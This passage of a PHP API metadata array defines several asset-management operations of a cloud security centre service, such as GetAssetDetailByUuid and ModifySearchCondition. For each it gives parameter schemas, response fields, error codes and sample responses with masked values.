number of the returned page.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '151F6EB6-D5F3-417A-AF7B-4D84975DB586', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.', 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.', 'type' => 'integer', 'format' => 'int32', 'example' => '44', ], 'MachineList' => [ 'description' => 'An array that consists of the information about servers.', 'type' => 'array', 'items' => [ 'description' => 'The information about the server.', 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.', 'type' => 'string', 'example' => '6d5b361f-958d-48a8-a9d2-d6e82c1****', ], 'MachineRegion' => [ 'description' => 'The region in which the server resides.', 'type' => 'string', 'example' => 'cn-hangzhou', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.', 'type' => 'string', 'example' => '120.79.XX.XX', ], 'VendorName' => [ 'description' => 'The name of the service provider (SP) for the server.'."\n" ."\n" .'Valid values:'."\n" ."\n" .'* **ALIYUN**: Alibaba Cloud'."\n" .'* **OUT**: a third-party service provider'."\n" .'* **IDC**: a data center'."\n" .'* **TENCENT**: Tencent Cloud'."\n" .'* **HUAWEICLOUD**: Huawei Cloud'."\n" .'* **Microsoft**: Microsoft'."\n" .'* **AWS**: Amazon Web Services (AWS)'."\n" .'* **TRIPARTITE**: a lightweight server', 'type' => 'string', 'example' => 'ALIYUN', ], 'InstanceName' => [ 'description' => 'The name of the server.', 'type' => 'string', 'example' => 'sql-test-001', ], 'Os' => [ 'description' => 'The operating system of the server. Valid values:'."\n" ."\n" .'* **linux**'."\n" .'* **windows**'."\n" .'* **windows-2003**', 'type' => 'string', 'example' => 'linux', ], 'InstanceId' => [ 'description' => 'The ID of the server.', 'type' => 'string', 'example' => 'sas-bdrvxb4b****', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.', 'type' => 'string', 'example' => '192.168.XX.XX', ], 'Vendor' => [ 'description' => 'The source of the server. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud'."\n" .'* **1**: a third-party cloud server'."\n" .'* **2**: a server in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a lightweight asset', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RegionId' => [ 'description' => 'The ID of the region in which the server resides.', 'type' => 'string', 'example' => 'cn-shanghai', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"151F6EB6-D5F3-417A-AF7B-4D84975DB586\\",\\n \\"PageSize\\": 5,\\n \\"TotalCount\\": 44,\\n \\"MachineList\\": [\\n {\\n \\"Uuid\\": \\"6d5b361f-958d-48a8-a9d2-d6e82c1****\\",\\n \\"MachineRegion\\": \\"cn-hangzhou\\",\\n \\"InternetIp\\": \\"120.79.XX.XX\\",\\n \\"VendorName\\": \\"ALIYUN\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"Os\\": \\"linux\\",\\n \\"InstanceId\\": \\"sas-bdrvxb4b****\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"Vendor\\": 0,\\n \\"RegionId\\": \\"cn-shanghai\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListUninstallAegisMachines', ], 'DescribeClientProblemType' => [ 'summary' => 'Queries a list of agent issue types.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'type' => 'string', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '21', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'ProblemTypes' => [ 'description' => 'The issue types.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'problemId' => [ 'description' => 'The ID of the issue type.'."\n", 'type' => 'string', 'example' => '4', ], 'problemType' => [ 'description' => 'The name of the issue type.'."\n", 'type' => 'string', 'example' => 'high_cpu', ], 'problemDetail' => [ 'description' => 'The description of the issue type.'."\n", 'type' => 'string', 'example' => 'other', ], ], 'description' => 'The issue type.', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX\\",\\n \\"TotalCount\\": 21,\\n \\"Count\\": 4,\\n \\"ProblemTypes\\": [\\n {\\n \\"problemId\\": \\"4\\",\\n \\"problemType\\": \\"high_cpu\\",\\n \\"problemDetail\\": \\"Server Guard Agent Offline\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeClientProblemType', ], 'DeleteSearchCondition' => [ 'summary' => 'Deletes a frequently used search condition by using the asset management feature of the Assets module in the Security Center console.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91971', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '19.12.XX.XX', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the frequently used search condition.'."\n" ."\n" .'> You can call the [DescribeSearchCondition](~~DescribeSearchCondition~~) operation to query frequently used search conditions.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset. Default value: ecs. Valid values:'."\n" ."\n" .'* **ecs**: an Elastic Compute Service (ECS) instance.'."\n" .'* **cloud_product**: an Alibaba Cloud service.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ecs', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '2983C540-E51F-582A-B510-732C27CD914C', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2983C540-E51F-582A-B510-732C27CD914C\\"\\n}","type":"json"}]', 'title' => 'DeleteSearchCondition', ], 'StartIdcProbeScan' => [ 'summary' => 'Starts an IDC scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92444', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53CXXXX', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53CXXXX\\"\\n}","type":"json"}]', 'title' => 'StartIdcProbeScan', ], 'ModifySearchCondition' => [ 'summary' => 'Modifies common filter conditions to search for assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92388', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '27.223.XX.XX', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the common filter condition.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test', ], ], [ 'name' => 'FilterConditions', 'in' => 'query', 'schema' => [ 'description' => 'The filter condition. The value of this parameter is in the JSON format and is case-sensitive. The value contains the following fields:'."\n" ."\n" .'* **filterParams**: the filter-related parameters. The value is in the JSON format. Valid values:'."\n" ."\n" .' * **label**: the display name of the filter condition in the console.'."\n" ."\n" .' * **value**: the settings of the filter condition. The value is in the JSON format. The value contains the following fields:'."\n" ."\n" .' * **name**: the name of the field for filtering. For more information, see the value description of name.'."\n" .' * **value**: the value of the field for filtering.'."\n" ."\n" .'* **LogicalExp**: the logical relationship among multiple filter conditions. Valid values:'."\n" ."\n" .' * **OR**'."\n" .' * **AND**'."\n" ."\n" .'> Value description of **name**:'."\n" ."\n" .'* If **Type** is set to **ecs**, you can call the [DescribeCriteria](~~DescribeCriteria~~) operation to query the supported filter conditions.'."\n" ."\n" .'* If **Type** is set to **cloud_product**, you can call the [GetCloudAssetCriteria](~~GetCloudAssetCriteria~~) operation to query the supported filter conditions.'."\n", 'type' => 'string', 'required' => false, 'example' => '{'."\n" .' "filterParams": ['."\n" .' {'."\n" .' "label": "UUID：xxx",'."\n" .' "value": "{\\"name\\":\\"uuidList\\",\\"value\\":\\"xxx\\"}"'."\n" .' }'."\n" .' ],'."\n" .' "LogicalExp": "OR"'."\n" .'}', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset. Default value: **ecs**. Valid values:'."\n" ."\n" .'* **ecs**: host'."\n" .'* **cloud_product**: Alibaba Cloud service'."\n", 'type' => 'string', 'required' => false, 'example' => 'ecs', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '9DFFCF83-4F7B-5E05-B82D-3B619D5****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9DFFCF83-4F7B-5E05-B82D-3B619D5****\\"\\n}","type":"json"}]', 'title' => 'ModifySearchCondition', ], 'GetAssetDetailByUuid' => [ 'summary' => 'Queries the details of a server and the extended information about the server by using the UUID of the server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. The system specifies this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '120.245.XX.XX', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server to query.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '9e6cad93-a379-46fd-a701-9bbf02f4****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4892B68B-47BC-5E56-B327-9C2ACC6C1C09', ], 'AssetDetail' => [ 'description' => 'The details of the server.'."\n", 'type' => 'object', 'properties' => [ 'CpuInfo' => [ 'description' => 'The details of the CPU.'."\n", 'type' => 'string', 'example' => 'Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '120.47.XX.XX', ], 'OsDetail' => [ 'description' => 'The operating system version of the server.'."\n", 'type' => 'string', 'example' => 'Linux 64bit', ], 'CreateTime' => [ 'description' => 'The timestamp when Security Center records the details of the server. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1603863599000', ], 'Kernel' => [ 'description' => 'The kernel version of the operating system.'."\n", 'type' => 'string', 'example' => '4.18.0-80.11.2.el8_0.x86_64', ], 'Bind' => [ 'description' => 'Indicates whether Security Center is authorized to protect the asset. Valid values:'."\n" ."\n" .'* **true**: Security Center is authorized to protect the asset.'."\n" .'* **false**: Security Center is not authorized to protect the asset.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'OsName' => [ 'description' => 'The name of the operating system that the server runs.'."\n", 'type' => 'string', 'example' => 'CentOS 7.4 64bit', ], 'Tag' => [ 'description' => 'The tag that is added to the server.'."\n", 'type' => 'string', 'example' => 'InternetIp', ], 'ClientStatus' => [ 'description' => 'The status of the Security Center agent. Valid values:'."\n" ."\n" .'* **pause**: The Security Center agent stops protecting your server.'."\n" .'* **online**: The Security Center agent is protecting your server.'."\n" .'* **offline**: The Security Center agent does not protect your server.'."\n", 'type' => 'string', 'example' => 'online', ], 'Mem' => [ 'description' => 'The memory size of the server. Unit: GB.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '16', ], 'Memory' => [ 'description' => 'The memory size of the server. Unit: MB.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '16384', ], 'VpcInstanceId' => [ 'description' => 'The ID of the virtual private cloud (VPC) in which the server resides.'."\n", 'type' => 'string', 'example' => 'vpc-bp1fs3bwonlfq503w****', ], 'AuthVersion' => [ 'description' => 'The edition of Security Center that is authorized to protect the server. Valid values:'."\n" ."\n" .'* **1**: Basic (Unauthorized).'."\n" .'* **6**: Anti-virus.'."\n" .'* **5**: Advanced.'."\n" .'* **3**: Enterprise.'."\n" .'* **7**: Ultimate.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'i-fasdfasdfadfafa****', ], 'Region' => [ 'description' => 'The region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], 'GroupTrace' => [ 'description' => 'The group to which the server belongs. By default, the servers that are not grouped belong to the **Default** group.'."\n", 'type' => 'string', 'example' => 'default', ], 'Ip' => [ 'description' => 'The IP address that is assigned to the Elastic Compute Service (ECS) instance.'."\n", 'type' => 'string', 'example' => '120.47.XX.XX', ], 'HostName' => [ 'description' => 'The name of the host.'."\n", 'type' => 'string', 'example' => 'qewrqwerqs****', ], 'Os' => [ 'description' => 'The operating system type of the server.'."\n", 'type' => 'string', 'example' => 'linux', ], 'AuthModifyTime' => [ 'description' => 'The timestamp when Security Center is authorized to protect the asset. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1627974044000', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-uf6h7p2fgk6rkk0g****', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'AssetType' => [ 'description' => 'The type of the server. Valid values:'."\n" ."\n" .'* **0**: ECS instance'."\n" .'* **1**: Server Load Balancer (SLB) instance'."\n" .'* **2**: NAT gateway'."\n" .'* **3**: ApsaraDB RDS instance'."\n" .'* **4**: ApsaraDB for MongoDB instance'."\n" .'* **5**: ApsaraDB for Redis instance'."\n" .'* **6**: image'."\n" .'* **7**: container'."\n", 'type' => 'string', 'example' => '0', ], 'RegionId' => [ 'description' => 'The ID of the region in which the asset resides.'."\n", 'type' => 'string', 'example' => 'cn-hanghzou', ], 'SysInfo' => [ 'description' => 'The operating system information about the server.'."\n", 'type' => 'string', 'example' => 'CentOS Linux 8.0.1905', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '9e6cad93-a379-46fd-a701-9bbf02f4****', ], 'Cpu' => [ 'description' => 'The number of CPU cores.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RegionName' => [ 'description' => 'The name of the region in which the server resides.'."\n", 'type' => 'string', 'example' => 'China (Hohhot)', ], 'Flag' => [ 'description' => 'Indicates whether the asset is provided by Alibaba Cloud. Valid values:'."\n" ."\n" .'* **0**: The server is provided by Alibaba Cloud.'."\n" .'* **1**: The server is not provided by Alibaba Cloud.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ClientVersion' => [ 'description' => 'The version of the Security Center agent.'."\n", 'type' => 'string', 'example' => '2.0.0', ], 'IpList' => [ 'description' => 'An array that consists of the IP addresses of the server.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IP address of the server.'."\n", 'type' => 'string', 'example' => '120.47.XX.XX', ], ], 'MacList' => [ 'description' => 'An array that consists of the media access control (MAC) addresses of the server.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The MAC addresses of the server.'."\n", 'type' => 'string', 'example' => '00:16:3*:1*:9*:cf', ], ], 'DiskInfoList' => [ 'description' => 'The list of information about the disk.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the disk.'."\n", 'type' => 'object', 'properties' => [ 'DiskName' => [ 'description' => 'The name of the disk.', 'type' => 'string', 'example' => '/dev/vda1', ], 'UseSizeByte' => [ 'description' => 'The amount of the used disk space. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2998996992', ], 'TotalSize' => [ 'description' => 'The total disk space. Unit: GB.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '40', ], 'UseSize' => [ 'description' => 'The amount of the used disk space. Unit: GB.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2', ], 'TotalSizeByte' => [ 'description' => 'The total disk space. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '42140479488', ], ], ], ], 'ClientSubStatus' => [ 'description' => 'The sub-status of the Security Center agent on the server. Valid values:'."\n" ."\n" .'* **online**: The Security Center agent on the asset is **enabled**.'."\n" .'* **offline**: The Security Center agent on the asset is **disabled**.'."\n" .'* **pause**: The Security Center agent is **suspended**.'."\n" .'* **uninstalled**: The Security Center agent is **not installed**.'."\n" .'* **stopped**: The asset is **shut down**.'."\n", 'type' => 'string', 'example' => 'online', ], 'VendorAuthAlias' => [ 'description' => 'The account to which the AccessKey pair belongs.'."\n" ."\n" .'> This parameter is returned only by third-party cloud servers. If the parameter value is empty, it will not be returned.'."\n", 'type' => 'string', 'example' => 'test', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4892B68B-47BC-5E56-B327-9C2ACC6C1C09\\",\\n \\"AssetDetail\\": {\\n \\"CpuInfo\\": \\"Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz\\",\\n \\"InternetIp\\": \\"120.47.XX.XX\\",\\n \\"OsDetail\\": \\"Linux 64bit\\",\\n \\"CreateTime\\": 1603863599000,\\n \\"Kernel\\": \\"4.18.0-80.11.2.el8_0.x86_64\\",\\n \\"Bind\\": true,\\n \\"OsName\\": \\"CentOS 7.4 64bit\\",\\n \\"Tag\\": \\"InternetIp\\",\\n \\"ClientStatus\\": \\"online\\",\\n \\"Mem\\": 16,\\n \\"Memory\\": 16384,\\n \\"VpcInstanceId\\": \\"vpc-bp1fs3bwonlfq503w****\\",\\n \\"AuthVersion\\": 7,\\n \\"InstanceName\\": \\"i-fasdfasdfadfafa****\\",\\n \\"Region\\": \\"cn-shanghai\\",\\n \\"GroupTrace\\": \\"default\\",\\n \\"Ip\\": \\"120.47.XX.XX\\",\\n \\"HostName\\": \\"qewrqwerqs****\\",\\n \\"Os\\": \\"linux\\",\\n \\"AuthModifyTime\\": 1627974044000,\\n \\"InstanceId\\": \\"i-uf6h7p2fgk6rkk0g****\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"AssetType\\": \\"0\\",\\n \\"RegionId\\": \\"cn-hanghzou\\",\\n \\"SysInfo\\": \\"CentOS Linux 8.0.1905\\",\\n \\"Uuid\\": \\"9e6cad93-a379-46fd-a701-9bbf02f4****\\",\\n \\"Cpu\\": 2,\\n \\"RegionName\\": \\"China (Hohhot)\\",\\n \\"Flag\\": 0,\\n \\"ClientVersion\\": \\"2.0.0\\",\\n \\"IpList\\": [\\n \\"120.47.XX.XX\\"\\n ],\\n \\"MacList\\": [\\n \\"00:16:3*:1*:9*:cf\\"\\n ],\\n \\"DiskInfoList\\": [\\n {\\n \\"DiskName\\": \\"/dev/vda1\\",\\n \\"UseSizeByte\\": 2998996992,\\n \\"TotalSize\\": 40,\\n \\"UseSize\\": 2,\\n \\"TotalSizeByte\\": 42140479488\\n }\\n ],\\n \\"ClientSubStatus\\": \\"online\\",\\n \\"VendorAuthAlias\\": \\"test\\"\\n }\\n}","type":"json"}]', 'title' => 'GetAssetDetailByUuid', ], 'DescribeGroupStruct' => [ 'summary' => 'Queries the structure of a group.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The object returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '9FBC6E47-7508-58C9-9E76-528E118C****', ], 'GroupId' => [ 'description' => 'The ID of the server group.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '958****', ], 'GroupName' => [ 'description' => 'The name of the server group.'."\n", 'type' => 'string', 'example' => 'TestGroupName', ], 'MachineNum' => [ 'description' => 'The number of servers in the group.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'GroupIndex' => [ 'description' => 'The sequence number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'GroupFather' => [ 'description' => 'The parent node of the group.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '958****', ], 'GroupLevel' => [ 'description' => 'The level of the application group.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'GroupFlag' => [ 'description' => 'The type of the server group. Valid values:'."\n" ."\n" .'* **0**: the default group'."\n" .'* **1**: other groups'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Groups' => [ 'description' => 'An array that consists of child groups.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The child group.'."\n", 'type' => 'string', 'example' => '['."\n" .' {'."\n" .' "groupName": "testfuxian",'."\n" .' "groupFather": 0,'."\n" .' "groupId": 11501234,'."\n" .' "childGroups": [],'."\n" .' "groupLevel": 1,'."\n" .' "groupIndex": 100,'."\n" .' "groupFlag": 1'."\n" .' },'."\n" .' {'."\n" .' "groupName": "testfuxian",'."\n" .' "groupFather": 0,'."\n" .' "groupId": 11501234,'."\n" .' "childGroups": [],'."\n" .' "groupLevel": 1,'."\n" .' "groupIndex": 100,'."\n" .' "groupFlag": 1'."\n" .' }'."\n" .']', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9FBC6E47-7508-58C9-9E76-528E118C****\\",\\n \\"GroupId\\": 0,\\n \\"GroupName\\": \\"TestGroupName\\",\\n \\"MachineNum\\": 30,\\n \\"GroupIndex\\": 1,\\n \\"GroupFather\\": 0,\\n \\"GroupLevel\\": 2,\\n \\"GroupFlag\\": 0,\\n \\"Groups\\": [\\n \\"[\\\\n\\\\t{\\\\n\\\\t\\\\t\\\\\\"groupName\\\\\\": \\\\\\"testfuxian\\\\\\",\\\\n\\\\t\\\\t\\\\\\"groupFather\\\\\\": 0,\\\\n\\\\t\\\\t\\\\\\"groupId\\\\\\": 11501234,\\\\n\\\\t\\\\t\\\\\\"childGroups\\\\\\": [],\\\\n\\\\t\\\\t\\\\\\"groupLevel\\\\\\": 1,\\\\n\\\\t\\\\t\\\\\\"groupIndex\\\\\\": 100,\\\\n\\\\t\\\\t\\\\\\"groupFlag\\\\\\": 1\\\\n\\\\t},\\\\n\\\\t{\\\\n\\\\t\\\\t\\\\\\"groupName\\\\\\": \\\\\\"testfuxian\\\\\\",\\\\n\\\\t\\\\t\\\\\\"groupFather\\\\\\": 0,\\\\n\\\\t\\\\t\\\\\\"groupId\\\\\\": 11501234,\\\\n\\\\t\\\\t\\\\\\"childGroups\\\\\\": [],\\\\n\\\\t\\\\t\\\\\\"groupLevel\\\\\\": 1,\\\\n\\\\t\\\\t\\\\\\"groupIndex\\\\\\": 100,\\\\n\\\\t\\\\t\\\\\\"groupFlag\\\\\\": 1\\\\n\\\\t}\\\\n]\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeGroupStruct', ], 'ListCloudAssetInstances' => [ 'summary' => 'Queries cloud service assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search conditions for assets. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **name**: the name of the search condition.'."\n" ."\n" .'* **value**: the value of the search condition.'."\n" ."\n" .'* **logicalExp**: the logical relation for multiple search conditions. Valid values:'."\n" ."\n" .' * **OR**: The search conditions use a logical **OR**.'."\n" .' * **AND**: The search conditions use a logical **AND**.'."\n" ."\n" .'> You can call the [GetCloudAssetCriteria](~~GetCloudAssetCriteria~~) operation to query supported search conditions.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"name\\":\\"internetIp\\",\\"value\\":\\"192.168\\",\\"logicalExp\\":\\"OR\\"}]', ], ], [ 'name' => 'LogicalExp', 'in' => 'query', 'schema' => [ 'description' => 'The logical relation for multiple search conditions. Valid values:'."\n" ."\n" .'* **OR**: The search conditions use a logical **OR**.'."\n" .'* **AND**: The search conditions use a logical **AND**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'OR', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Maximum value: 100. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '100', 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' 